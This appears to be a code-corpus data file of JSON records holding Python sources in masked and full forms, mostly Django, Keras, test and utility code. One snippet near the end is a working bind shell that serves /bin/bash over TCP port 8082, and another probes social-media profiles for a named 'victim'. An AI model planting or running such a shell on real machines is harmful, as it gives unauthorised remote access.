{ "blob_id": "094f482ec6d36dfaed7e908bc445e6e015ec409d", "index": 2718, "step-1": "# coding: utf-8\r\n'''\r\nCreated on 2013-7-8\r\n@author: huqiming\r\n'''\r\nimport json\r\nimport re\r\nimport urllib2\r\n'''\r\n图说内容\r\n'''\r\nclass ts_content:\r\n '''\r\n 图说标题\r\n '''\r\n title = ''\r\n '''\r\n ...
[ 0 ]
#! /usr/bin/python # encode:utf-8 import subprocess import sys import pdb argvs = sys.argv if len(argvs) != 2: print "Please input 1 argument" quit() searchWord = argvs[1] cmd1 = "ls -a /etc/" p1 = subprocess.Popen(cmd1.strip().split(" "), stdout=subprocess.PIPE) stdout_data, stderr_data = p1.communicate() p1.st...
normal
{ "blob_id": "c12d45644098aef5c042a62095eeae5829d70f45", "index": 7641, "step-1": "#! /usr/bin/python\n# encode:utf-8\nimport subprocess\nimport sys\nimport pdb\n\nargvs = sys.argv\nif len(argvs) != 2:\n print \"Please input 1 argument\"\n quit()\n\nsearchWord = argvs[1]\n\ncmd1 = \"ls -a /etc/\"\np1 = subproce...
[ 0 ]
import surname_common as sc from sklearn.utils import shuffle import glob import os import re import pprint import pandas as pd import unicodedata import string def unicode_to_ascii(s): return ''.join( c for c in unicodedata.normalize('NFD', s) if unicodedata.category(c) != 'Mn' and c in sc.ALL_LE...
normal
{ "blob_id": "db46fbfb1acd855eebb5c9f557d70038b84e812d", "index": 8573, "step-1": "<mask token>\n\n\ndef save_df_surnames_as_pickle():\n df_surnames, df_categories = load_surnames()\n df = shuffle(df_surnames, random_state=sc.RANDOM_STATE)\n train_cnt = int(df['surname'].count() * sc.TRAIN_TEST_RATIO)\n ...
[ 1, 2, 3, 4, 5 ]
from django import forms from django.forms import ModelForm, fields, widgets from .models import NewsStory class StoryForm(ModelForm): class Meta: model = NewsStory fields = ['title' , 'pub_date' , 'content'] widgets = { 'pub_date': forms.DateInput(format=('%m/%d/%Y'), attrs={'c...
normal
{ "blob_id": "47a5ddcea2f6d8ce80793192d26c98ccc0e0340d", "index": 1771, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass StoryForm(ModelForm):\n\n\n class Meta:\n model = NewsStory\n fields = ['title', 'pub_date', 'content']\n widgets = {'pub_date': forms.DateInput(format='...
[ 0, 1, 2, 3 ]
from django.apps import AppConfig from django.utils.translation import gettext_lazy as _ class StravaAuthConfig(AppConfig): name = "strava.contrib.strava_django" verbose_name = _("Strava Auth") def ready(self): pass
normal
{ "blob_id": "9e43eb3c3ab3be4e695dbc80aa005332b8d8a4ec", "index": 9515, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass StravaAuthConfig(AppConfig):\n <mask token>\n <mask token>\n\n def ready(self):\n pass\n", "step-3": "<mask token>\n\n\nclass StravaAuthConfig(AppConfig):\n ...
[ 0, 2, 3, 4, 5 ]
from keras.layers import Dense, Activation, Dropout from keras.utils.visualize_util import plot from keras.models import Sequential from emotions import FER2013Dataset _deep_models = {} def deep_model(model_name): def wrapper(cls): _deep_models[model_name] = cls return cls return wrapper ...
normal
{ "blob_id": "36257340ebbc6bd2c7fa5995511b2c859f58f8e5", "index": 3232, "step-1": "<mask token>\n\n\nclass DeepModel:\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\n@deep_model('trivial')\nclass DummyModel(DeepModel):\n\n def b...
[ 7, 12, 13, 14, 18 ]
from typing import List, Tuple from unittest import TestCase from solutions.python.common.timing import decompose, parse_decomposed_duration, format_duration class TestTiming(TestCase): def test_decompose_ns(self): # Given duration: int = 234 # When decomposition: List[Tuple[int...
normal
{ "blob_id": "afecbb46a98fbf6b5c26f5b6c8026aec035fadf1", "index": 6696, "step-1": "<mask token>\n\n\nclass TestTiming(TestCase):\n\n def test_decompose_ns(self):\n duration: int = 234\n decomposition: List[Tuple[int, str]] = decompose(duration)\n expected_decomposition: List[Tuple[int, str...
[ 7, 11, 12, 16, 17 ]
''' Unit test for `redi.create_summary_report()` ''' import unittest import os import sys from lxml import etree from StringIO import StringIO import time import redi file_dir = os.path.dirname(os.path.realpath(__file__)) goal_dir = os.path.join(file_dir, "../") proj_root = os.path.abspath(goal_dir)+'/' DEFAULT_DATA_...
normal
{ "blob_id": "f9dd21aac7915b9bbf91eeffb5fd58ffdb43c6c3", "index": 5857, "step-1": "<mask token>\n\n\nclass TestCreateSummaryReport(unittest.TestCase):\n\n def setUp(self):\n redi.configure_logging(DEFAULT_DATA_DIRECTORY)\n self.test_report_params = {'project': 'hcvtarget-uf',\n 'report...
[ 4, 5, 6, 7, 8 ]
# OSINT By FajarTheGGman For Google Code-in 2019© import urllib3 as url class GCI: def banner(): print("[---- OSINT By FajarTheGGman ----]\n") def main(): user = str(input("[!] Input Name Victim ? ")) init = url.PoolManager() a = init.request("GET", "https://facebook.com/" + user) b = init.re...
normal
{ "blob_id": "6c8180d24110045348d9c2041c0cca26fa9ea2d2", "index": 4318, "step-1": "<mask token>\n\n\nclass GCI:\n\n def banner():\n print('[---- OSINT By FajarTheGGman ----]\\n')\n <mask token>\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass GCI:\n\n def banner():\n print('[---- ...
[ 2, 4, 5, 6, 7 ]
# Copyright The Cloud Custodian Authors. # SPDX-License-Identifier: Apache-2.0 from c7n_azure.provider import resources from c7n_azure.resources.arm import ArmResourceManager from c7n.utils import type_schema from c7n.filters.core import ValueFilter @resources.register('mysql-flexibleserver') class MySQLFlexibleServ...
normal
{ "blob_id": "b9bc6a9dbb3dbe51fbae45078bd499fb97fa003f", "index": 3950, "step-1": "<mask token>\n\n\n@MySQLFlexibleServer.filter_registry.register('server-parameter')\nclass ServerParametersFilter(ValueFilter):\n <mask token>\n schema = type_schema('server-parameter', required=['type', 'name'],\n rin...
[ 3, 4, 5, 6, 7 ]
""" Password Requirements """ # Write a Python program called "pw_validator" to validate a password based on the security requirements outlined below. # VALIDATION REQUIREMENTS: ## At least 1 lowercase letter [a-z] ## At least 1 uppercase letter [A-Z]. ## At least 1 number [0-9]. ## At least 1 special character [~!@#...
normal
{ "blob_id": "d72f9d521613accfd93e6de25a71d188626a0952", "index": 4807, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef pw_validator(pw):\n pw = list(pw)\n if len(pw) < 6 or len(pw) > 16:\n return 'Please enter a valid password.'\n num_count = 0\n lower_count = 0\n upper_count...
[ 0, 1, 2, 3, 4 ]
from django.contrib.auth.mixins import LoginRequiredMixin from django.views.generic import View from django.http import HttpResponse from django.utils.decorators import method_decorator from django.contrib.auth.decorators import login_required from django.core.exceptions import PermissionDenied class View1(LoginRequir...
normal
{ "blob_id": "826abb18b11afd7a010e2bfc5a29ba068218c23a", "index": 7550, "step-1": "<mask token>\n\n\nclass View1(LoginRequiredMixin, View):\n <mask token>\n <mask token>\n\n\nclass View2(LoginRequiredMixin, View):\n\n def dispatch(self, request, *args, **kwargs):\n response = super().dispatch(requ...
[ 7, 8, 9, 10, 11 ]
import torch import torch.nn as nn import torchvision import torchvision.transforms as transforms import numpy as np import matplotlib.pyplot as plt def weights_init(m): if type(m) == nn.Linear: m.weight.data.normal_(0.0, 1e-3) m.bias.data.fill_(0.) def update_lr(optimizer, lr): for param_gr...
normal
{ "blob_id": "0553bd4c7261197a1a80c5551305a16e7bfdc761", "index": 2398, "step-1": "<mask token>\n\n\ndef weights_init(m):\n if type(m) == nn.Linear:\n m.weight.data.normal_(0.0, 0.001)\n m.bias.data.fill_(0.0)\n\n\ndef update_lr(optimizer, lr):\n for param_group in optimizer.param_groups:\n ...
[ 5, 6, 8, 9, 11 ]
import openpyxl # 适用于xlsx文件 ''' 纯文本文件 student.txt为学生信息, 里面的内容(包括花括号)如下所示: { "1":["张三",150,120,100], "2":["李四",90,99,95], "3":["王五",60,66,68] } 请将上述内容写到 student.xls 文件中 ''' def read_file(): words = [] with open('15.txt', 'r') as file: content = file.read() # print(content) # print(...
normal
{ "blob_id": "f75e0ddf42cc9797cdf1c4a4477e3d16441af740", "index": 5478, "step-1": "<mask token>\n\n\ndef write_list(list):\n wb = openpyxl.Workbook()\n sheet = wb.active\n sheet.title = 'test'\n value = list\n for i in range(0, len(value)):\n for j in range(0, len(value[i])):\n sh...
[ 1, 2, 3, 4, 5 ]
from base64 import b64encode from configparser import ConfigParser import functools from flask import ( Blueprint, flash, redirect, render_template, request, session, url_for, app ) from requests.exceptions import SSLError import spotipy from spotipy import oauth2 bp = Blueprint('auth', __name__, url_prefix='/auth...
normal
{ "blob_id": "8f7ecbe03e9a7a1d9df8cbe4596456e21b84653b", "index": 9114, "step-1": "<mask token>\n\n\n@bp.route('/login')\ndef login():\n \"\"\"\n : Create session and login user\n : PARAMS None\n : RETURN <view>\n \"\"\"\n try:\n session.clear()\n return redirect(SP_OAUTH.get_autho...
[ 4, 5, 6, 7, 8 ]
# Generated by Django 3.1 on 2020-09-09 15:58 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('orders', '0001_initial'), ] operations = [ migrations.RenameField( model_name='orderproduct', old_name='products', ...
normal
{ "blob_id": "0e73153d004137d374637abf70faffabf0bab1fb", "index": 9762, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('orders', '0...
[ 0, 1, 2, 3, 4 ]
from urllib.request import urlopen from bs4 import BeautifulSoup import json def get_webcasts(year): url = "https://www.sans.org/webcasts/archive/" + str(year) page = urlopen(url) soup = BeautifulSoup(page, 'html.parser') table = soup.find('table', {"class": "table table-bordered table-striped"}) ...
normal
{ "blob_id": "14971842092c7aa41477f28cec87628a73a8ffd6", "index": 8407, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef get_webcasts(year):\n url = 'https://www.sans.org/webcasts/archive/' + str(year)\n page = urlopen(url)\n soup = BeautifulSoup(page, 'html.parser')\n table = soup.find(...
[ 0, 2, 3, 4, 5 ]
#!/usr/bin/python # Copyright 2012 Google Inc. All Rights Reserved. """Antirollback clock user space support. This daemon serves several purposes: 1. Maintain a file containing the minimum time, and periodically update its value. 2. At startup, write the minimum time to /proc/ar_clock. The kernel will n...
normal
{ "blob_id": "92e7a7825b3f49424ec69196b69aee00bc84da68", "index": 8879, "step-1": "#!/usr/bin/python\n# Copyright 2012 Google Inc. All Rights Reserved.\n\n\"\"\"Antirollback clock user space support.\n\nThis daemon serves several purposes:\n 1. Maintain a file containing the minimum time, and periodically\n ...
[ 0 ]
def geo_avg(x,lat,dim=2): ''' geo_avg: to calculate weighting average according to latitude input: x: variable lat: corresponding latittude dim: the order of the lat dimension, two cases: 2:[time,lev,lat,*lon],or 1:[time or lev, lat, *lon] output: result: 1d or 2d avera...
normal
{ "blob_id": "a2871585ce36888cf89c4dc5a6a7de6b212412bb", "index": 1153, "step-1": "def geo_avg(x, lat, dim=2):\n \"\"\"\n geo_avg: to calculate weighting average according to latitude\n input: \n x: variable \n lat: corresponding latittude\n dim: the order of the lat dimension, two c...
[ 5, 6, 7, 8, 9 ]
#!/usr/bin/env python #coding:utf-8 import os def listDir(path): allFile = [] subFile = os.listdir(path) #列出当前路径下的目录或者文件,返回列表 for fileName in subFile: fullFile = os.path.join(path, fileName) #os提供方法连接路径与文件名形成完整路径名,作用同:字符串+“/”+字符串 if os.path.isdir(fullFile): #判断是否为目录或者文件,有isfil...
normal
{ "blob_id": "a4f446d6fd2a34c0ef591d7cbda59dccc0a36611", "index": 2069, "step-1": "#!/usr/bin/env python\n#coding:utf-8\n\nimport os\n\ndef listDir(path):\n allFile = []\n subFile = os.listdir(path) #列出当前路径下的目录或者文件,返回列表\n for fileName in subFile:\n fullFile = os.path.join(path, fileName) ...
[ 0 ]
#14681 #점의 좌표를 입력받아 그 점이 어느 사분면에 속하는지 알아내는 프로그램을 작성하시오. 단, x좌표와 y좌표는 모두 양수나 음수라고 가정한다. x = int(input()) y = int(input()) if(x>0 and y>0): print("1") elif(x>0 and y<0): print("4") elif(x<0 and y>0): print("2") else: print("3")
normal
{ "blob_id": "e9908e32204da8973f06d98430fc660c90b5e303", "index": 3987, "step-1": "<mask token>\n", "step-2": "<mask token>\nif x > 0 and y > 0:\n print('1')\nelif x > 0 and y < 0:\n print('4')\nelif x < 0 and y > 0:\n print('2')\nelse:\n print('3')\n", "step-3": "x = int(input())\ny = int(input()...
[ 0, 1, 2, 3 ]
from django.db import models # Create your models here. class Products(models.Model): title = models.CharField(max_length=255) year = models.IntegerField(default=0) feature = models.CharField(max_length=30) usage_status = models.CharField(max_length=25) kms_driven = models.CharField(max_length=10)...
normal
{ "blob_id": "5b0252dd862fe1e46c0c1df41935db16ae691dff", "index": 7277, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Products(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Prod...
[ 0, 1, 2, 3, 4 ]
#!/usr/bin/env python # -*- coding: utf-8 -*- # # looping.py # # Copyright 2012 Jelle Smet <development@smetj.net> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of ...
normal
{ "blob_id": "8c86c0969c47a59db5bd147d3e051a29118d6bf2", "index": 9855, "step-1": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# looping.py\n# \n# Copyright 2012 Jelle Smet <development@smetj.net>\n# \n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the...
[ 0 ]
#!/usr/bin/python from cagd.polyline import polyline from cagd.spline import spline, knots from cagd.vec import vec2 import cagd.scene_2d as scene_2d from math import sin,cos,pi, sqrt #returns a list of num_samples points that are uniformly distributed on the unit circle def unit_circle_points(num_samples): a = 2...
normal
{ "blob_id": "35e61add90b5c12f94d5f8071f00d98316461dd6", "index": 8497, "step-1": "<mask token>\n\n\ndef unit_circle_points(num_samples):\n a = 2 * pi / num_samples\n return [vec2(cos(a * i), sin(a * i)) for i in range(num_samples)]\n\n\ndef calculate_circle_deviation(spline):\n ideal_d = 1.0\n center...
[ 2, 3, 4, 5, 6 ]
import json import random from time import sleep url = "data/data.json" def loop(run_state): error = 1 simulations = 1 while run: error_margin = str((error/simulations) * 100) + "%" prediction = get_prediction() print("Prediction: %s" % prediction) print("Error Margin: %...
normal
{ "blob_id": "25ff54a969651d365de33f2420c662518dd63738", "index": 864, "step-1": "<mask token>\n\n\ndef loop(run_state):\n error = 1\n simulations = 1\n while run:\n error_margin = str(error / simulations * 100) + '%'\n prediction = get_prediction()\n print('Prediction: %s' % predict...
[ 5, 6, 7, 8, 9 ]
""" Listing 1.36 Python extends the basic grouping syntax to add named groups. Using names to refer to groups makes it easier to modify the pattern over time, without having to also modify the code using the match results. To set the name of a group, use the syntax (?P<name>pattern) Use groupdict() to retrieve the d...
normal
{ "blob_id": "be6a2e45f735fe578392b03c3030890b6cd5b4bc", "index": 2865, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef main():\n text = 'This is some text -- with punctuation.'\n print(text)\n print()\n patterns = ['^(?P<first_word>\\\\w+)', '(?P<last_word>\\\\w+)\\\\S*$',\n '(?...
[ 0, 1, 2, 3, 4 ]
import argparse import debug.debug as dbg import helper.helper as hlp import prep.preprocessor as pre import sample.sample as s def main(dir_train, C, gamma, number_partitions, do_subsampling, write_labels): hlp.setup_logging() # Files as folds? if number_partitions is None or number_partitions == 0: #...
normal
{ "blob_id": "4a63431aa71ca3f4b75fcd89a50bf599e7717645", "index": 2442, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef main(dir_train, C, gamma, number_partitions, do_subsampling, write_labels):\n hlp.setup_logging()\n if number_partitions is None or number_partitions == 0:\n do_conca...
[ 0, 1, 2, 3, 4 ]
from packages import data as DATA from packages import plot as PLOT from packages import universal as UNIVERSAL from packages import currency_pair as CP import matplotlib.pyplot as plt import mpl_finance as mpf from packages import db as DB import CONSTANTS import datetime from matplotlib.pylab import date2num from mat...
normal
{ "blob_id": "9aaaa744780dbd32b14e09a34976a2a0a3ce34f7", "index": 7864, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor cnt in range(20, len(rows)):\n row_previous2 = rows[cnt - 2]\n row_previous1 = rows[cnt - 1]\n row = rows[cnt]\n open = row[2]\n high = row[3]\n low = row[4]\n cl...
[ 0, 1, 2, 3, 4 ]
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Fri May 24 18:46:26 2019 @author: kiran """ import matplotlib.pylab as plt import pandas as pd import numpy as np import statsmodels as sm from statsmodels.graphics.tsaplots import plot_acf, plot_pacf from statsmodels.tsa.stattools import acf, pacf from stat...
normal
{ "blob_id": "8e28135da60f8e11459697c4ae9c63e60c437d7a", "index": 9501, "step-1": "<mask token>\n\n\ndef stationarity_test(mylynxts):\n from statsmodels.tsa.stattools import adfuller\n print('Results of Dickey-Fuller Test:')\n df_test = adfuller(mylynxts, autolag='AIC')\n df_output = pd.Series(df_test...
[ 1, 2, 3, 4, 5 ]
class Solution: def getDescentPeriods(self, prices: List[int]) -> int: ans = 1 # prices[0] dp = 1 for i in range(1, len(prices)): if prices[i] == prices[i - 1] - 1: dp += 1 else: dp = 1 ans += dp return ans
normal
{ "blob_id": "d10468d2d0aefa19a7d225bfffad03ec6cb6e082", "index": 4079, "step-1": "<mask token>\n", "step-2": "class Solution:\n <mask token>\n", "step-3": "class Solution:\n\n def getDescentPeriods(self, prices: List[int]) ->int:\n ans = 1\n dp = 1\n for i in range(1, len(prices)):...
[ 0, 1, 2, 3 ]
import dash import dash_core_components as dcc import dash_html_components as html app = dash.Dash() app.layout = html.Div( children=[ html.Label('Dropdowm'), dcc.Dropdown( id='my-dropdown', options=[ {'label': 'İstanbul', 'value': 34}, # seçeneleri dict tu...
normal
{ "blob_id": "443bf59bc3c5ed2114f0c276aa7134ff5bf7fb64", "index": 7264, "step-1": "<mask token>\n", "step-2": "<mask token>\nif __name__ == '__main__':\n app.run_server()\n", "step-3": "<mask token>\napp = dash.Dash()\napp.layout = html.Div(children=[html.Label('Dropdowm'), dcc.Dropdown(id=\n 'my-dropdo...
[ 0, 1, 2, 3, 4 ]
# # Copyright 2016 The BigDL Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
normal
{ "blob_id": "ce69f7b7cf8c38845bfe589c83fdd6e43ab50912", "index": 3708, "step-1": "<mask token>\n\n\nclass Adam(Optimizer):\n <mask token>\n\n def __init__(self, learningrate: float=0.001, learningrate_decay: float\n =0.0, beta1: float=0.9, beta2: float=0.999, epsilon: float=1e-08\n ) ->None:\...
[ 19, 29, 33, 35, 41 ]
#YET TO COMMENT. import numpy as np from functools import reduce class ProbabilityNetwork: def __init__(self,n,edges,probs): self.nodes=list(range(n)) self.edges=edges self.probs=probs def parents(self, node): return [a for a,b in edges if b==node] def ancestralOrder(self...
normal
{ "blob_id": "24fa41f916b54345e4647354f972bd22e130decf", "index": 4016, "step-1": "<mask token>\n\n\nclass ProbabilityNetwork:\n\n def __init__(self, n, edges, probs):\n self.nodes = list(range(n))\n self.edges = edges\n self.probs = probs\n\n def parents(self, node):\n return [a...
[ 6, 7, 9, 10, 11 ]
__author__ = "那位先生Beer" import matplotlib.pyplot as plt from matplotlib.font_manager import FontProperties import xlrd import numpy as np print('输入鲈鱼的先验概率例如:70,对应70%') a=input('输入鲈鱼的先验概率(鲑鱼对应的1减去剩余的):') font_set = FontProperties(fname=r"c:\windows\fonts\simsun.ttc", size=15) #根据生成的数据画出图像(横坐标为长度,纵坐标为亮度) data=xlrd.open_w...
normal
{ "blob_id": "077b6d3d7417bbc26e9f23af6f437ff05e3d5771", "index": 812, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint('输入鲈鱼的先验概率例如:70,对应70%')\n<mask token>\nfor i in range(0, int(a) * 50):\n rowa_data = sh.row_values(i)\n L.append(rowa_data)\n<mask token>\nfor j in range(5000, 5000 + (100 - in...
[ 0, 1, 2, 3, 4 ]
#!/usr/bin/env python from postimg import postimg import argparse import pyperclip import json def main(args): if not args.quiet: print("Uploading.....") resp = postimg.Imgur(args.img_path).upload() if not resp['success']: if not args.quiet: print(json.dumps(resp, sort_keys=True,...
normal
{ "blob_id": "705755340eef72470fc982ebd0004456469d23e4", "index": 4859, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef main(args):\n if not args.quiet:\n print('Uploading.....')\n resp = postimg.Imgur(args.img_path).upload()\n if not resp['success']:\n if not args.quiet:\n ...
[ 0, 1, 2, 3, 4 ]
""" Python Package Support """ # Not applicable """ Django Package Support """ # Not applicable """ Internal Package Support """ from Data_Base.models import School, Person, Child """ Data_Base/Data/Imports/child_import.py Author: Matthew J Swann; Yong Kin; Bradon Atkins; and ...
normal
{ "blob_id": "d0287b057530883a50ad9c1e5e74dce10cd825b6", "index": 7961, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass ChildImport(object):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass ChildImport(object):\n\n def __init__(self, scriptName=None):\n x = Child.objects.creat...
[ 0, 1, 2, 3, 4 ]
from django.db import models # Create your models here. class Advertisement(models.Model): title = models.CharField(max_length=1500, db_index=True, verbose_name='Заголовок') description = models.TextField(blank=True) created_at = models.DateTimeField(auto_now_add=True) update_at = models.DateTimeFiel...
normal
{ "blob_id": "c5bdbcc8ba38b02e5e5cf8b53362e87ba761443d", "index": 8654, "step-1": "<mask token>\n\n\nclass AdvertisementStatus(models.Model):\n name = models.CharField(max_length=100)\n\n def __str__(self):\n return self.name\n\n\nclass Authors(models.Model):\n name = models.CharField(max_length=2...
[ 6, 7, 8, 10, 11 ]
from sklearn.datasets import make_regression from sklearn.model_selection import train_test_split import random def sim_data(): # Parameters n_samples = random.randint(500, 5000) n_features = random.randint(5, 25) n_informative = random.randint(5, n_features) noise = random.uniform(0.5, 2) # ...
normal
{ "blob_id": "c4aa5869d5f916f13aa924c19dc9792337619b31", "index": 4011, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef sim_data():\n n_samples = random.randint(500, 5000)\n n_features = random.randint(5, 25)\n n_informative = random.randint(5, n_features)\n noise = random.uniform(0.5, ...
[ 0, 1, 2, 3 ]
from modules.core.logging.logging_service import LoggingService from modules.core.logging.models import LogLevel, LogEntry import pytest from .setup import register_test_db, register_test_injections, teardown,\ drop_all_collections @pytest.fixture(autouse=True) def setup(): register_test_db() ...
normal
{ "blob_id": "a29cf9e7006d52cea8f5ccdcbc2087983ffa3ef3", "index": 2973, "step-1": "<mask token>\n\n\ndef test_mongo_logging_client_persists_log():\n \"\"\"\n Test to see if the mongodb client logger\n can persist a log entry to the database\n \"\"\"\n error_message = 'This is a test message.'\n ...
[ 1, 2, 3, 4, 5 ]
# Generated by Django 3.2.6 on 2021-08-19 16:17 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('crm', '0040_auto_20210819_1913'), ] operations = [ migrations.RemoveField( model_name='customer', name='full_name', ...
normal
{ "blob_id": "42f021c728a88f34d09f94ea96d91abded8a29fb", "index": 9553, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('crm', '0040...
[ 0, 1, 2, 3, 4 ]
import sys, math nums = sys.stdin.readline().split(" ") my_set = set() my_list = [] for i in xrange(int(nums[1])): inpt = int(sys.stdin.readline()) my_set.add(inpt) my_list.append(inpt) x = 0 for i in xrange(1, int(nums[0]) + 1): if (i in my_set): continue while (x < len(my_list) and my_l...
normal
{ "blob_id": "3efa5eb97af116929a7426ed3bfb5e4a170cfacd", "index": 3014, "step-1": "import sys, math\n\nnums = sys.stdin.readline().split(\" \")\nmy_set = set()\nmy_list = []\nfor i in xrange(int(nums[1])):\n inpt = int(sys.stdin.readline())\n my_set.add(inpt)\n my_list.append(inpt)\n\nx = 0\nfor i in xra...
[ 0 ]
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2011-Today Serpent Consulting Services Pvt.Ltd. (<http://www.serpentcs.com>). # Copyright (C) 2004 OpenERP SA (<http://www.openerp.com>) # # Thi...
normal
{ "blob_id": "ac99c19294661657d383b036c9ab83e7b610cb7d", "index": 6896, "step-1": "<mask token>\n\n\nclass location_accommodation(models.AbstractModel):\n <mask token>\n <mask token>\n\n @api.multi\n def render_html(self, docids, data=None):\n report = self.env['report']._get_report_from_name(\...
[ 2, 3, 4, 5, 6 ]
import numpy as np #!pip install pygame import pygame #from copy import deepcopy pygame.init() #----------- # Modifications (Matthieu, 15/04): # Modification de la représentation du terrain du jeu. Il est maintenant représenté par une seule liste. # un seul identifiant par coupe semble plus simple à gérer qu'un...
normal
{ "blob_id": "576d6bec4a91ba6f0597b76a5da5ad3ef6562b19", "index": 9592, "step-1": "<mask token>\n\n\nclass terrainDeJeu:\n\n def __init__(self, nCoupes, profondeur, nGrainesParCoupelle=4):\n self.plateau = np.full(2 * nCoupes, nGrainesParCoupelle)\n self.nGrainesParCoupelleInit = nGrainesParCoupe...
[ 14, 20, 21, 24, 26 ]
alien_color = 'green' if alien_color == 'green': print('you earned 5 points') alien_color2 = 'yellow' if alien_color2 == 'green': print ('your earned 5 points') if alien_color2 == 'yellow': print('Right answer') # 5.4 alien_color = 'green' if alien_color == 'green': print('you earned 5 po...
normal
{ "blob_id": "30e4c4c5ef944b0cd2d36b2fe5f7eee39dff1d16", "index": 6511, "step-1": "<mask token>\n", "step-2": "<mask token>\nif alien_color == 'green':\n print('you earned 5 points')\n<mask token>\nif alien_color2 == 'green':\n print('your earned 5 points')\nif alien_color2 == 'yellow':\n print('Right ...
[ 0, 1, 2, 3 ]
import numpy from nn_functor import functions class Linear(functions.Learn): def implement(self, a, p): x = a[0] w, b0 = p return w.dot(x) + b0 def update(self, a, b, p): i = self.implement(a, p) x = a[0] w, b0 = p u_w = w - self.eps * (i - b)[:, N...
normal
{ "blob_id": "ec9a152e39a0c51319e4db58eea4496cff5b2fd6", "index": 3427, "step-1": "<mask token>\n\n\nclass Linear(functions.Learn):\n <mask token>\n <mask token>\n <mask token>\n\n\nclass LinearNode(functions.Node):\n\n def __init__(self, in_size, out_size, eps):\n super().__init__(Linear(eps))...
[ 3, 5, 6, 7, 8 ]
# The purpose of this bot is to cick the first black pixel. # Testing a change here done by Git. # changes through branches import pyautogui import keyboard import win32api import win32con import time # click function, with a 0.01 pause inorder to properly run the script def click(x, y): win32api...
normal
{ "blob_id": "9f831b8c90dd428879319b63712bd03fcc01b631", "index": 8212, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef click(x, y):\n win32api.SetCursorPos((x, y))\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0)\n time.sleep(0.01)\n win32api.mouse_event(win32con.MOUSEEVENTF...
[ 0, 1, 2, 3, 4 ]
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2017/7/14 下午6:06 # @Author : Huang HUi # @Site : # @File : Longest Common Prefix.py # @Software: PyCharm class Solution(object): def longestCommonPrefix(self, strs): """ :type strs: List[str] :rtype: str """ ...
normal
{ "blob_id": "1aed8e92a31ee42a3a609123af927f7074598ec1", "index": 1820, "step-1": "<mask token>\n", "step-2": "class Solution(object):\n <mask token>\n\n\n<mask token>\n", "step-3": "class Solution(object):\n\n def longestCommonPrefix(self, strs):\n \"\"\"\n :type strs: List[str]\n ...
[ 0, 1, 2, 3, 4 ]
""" Every block element test will be automatically wrapped inside `<p></p>\n`. Thats why every block test should include this wrapper tag. """ from io import BytesIO from unittest import TestCase from unittest.mock import patch, Mock import pytest from django.core.files import File from django_dynamic_fixture import ...
normal
{ "blob_id": "e5bf57e7a171f7e42928b78d09dda7593a231cf9", "index": 9841, "step-1": "<mask token>\n\n\n@pytest.mark.django_db\nclass TestImage(TestCase):\n <mask token>\n <mask token>\n <mask token>\n\n def setUp(self):\n file1 = File(name='file1.jpg', file=BytesIO(b'abcdef'))\n attachment...
[ 2, 3, 4, 5, 6 ]
''' quick and dirty remote shell using sockets and file descriptors ''' import socket import os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('',8082)) s.listen(1) conn,__=s.accept() os.dup2(conn.fileno(),0) os.dup2(conn.fileno(),1) #print("asdf") os.system('/bin/bash') conn.close()
normal
{ "blob_id": "38a2113c0531648a90cf70c4b18d640d5ebb3f47", "index": 5637, "step-1": "<mask token>\n", "step-2": "<mask token>\ns.bind(('', 8082))\ns.listen(1)\n<mask token>\nos.dup2(conn.fileno(), 0)\nos.dup2(conn.fileno(), 1)\nos.system('/bin/bash')\nconn.close()\n", "step-3": "<mask token>\ns = socket.socket(...
[ 0, 1, 2, 3, 4 ]
__author__ = 'gaa8664' import pymssql class Connection: def __init__(self): self.connection = pymssql.connect(server = 'gditsn033\SQLPROD', database='ProdigiousDB', user='sa', password='sgrh@2016') def __enter__(self): self.cursor = self.connection.cursor() return self.cursor de...
normal
{ "blob_id": "12dc248a95a84603065e23ce8fd33163bfcd2d3e", "index": 9295, "step-1": "<mask token>\n\n\nclass Connection:\n\n def __init__(self):\n self.connection = pymssql.connect(server='gditsn033\\\\SQLPROD',\n database='ProdigiousDB', user='sa', password='sgrh@2016')\n\n def __enter__(se...
[ 3, 4, 5, 6, 7 ]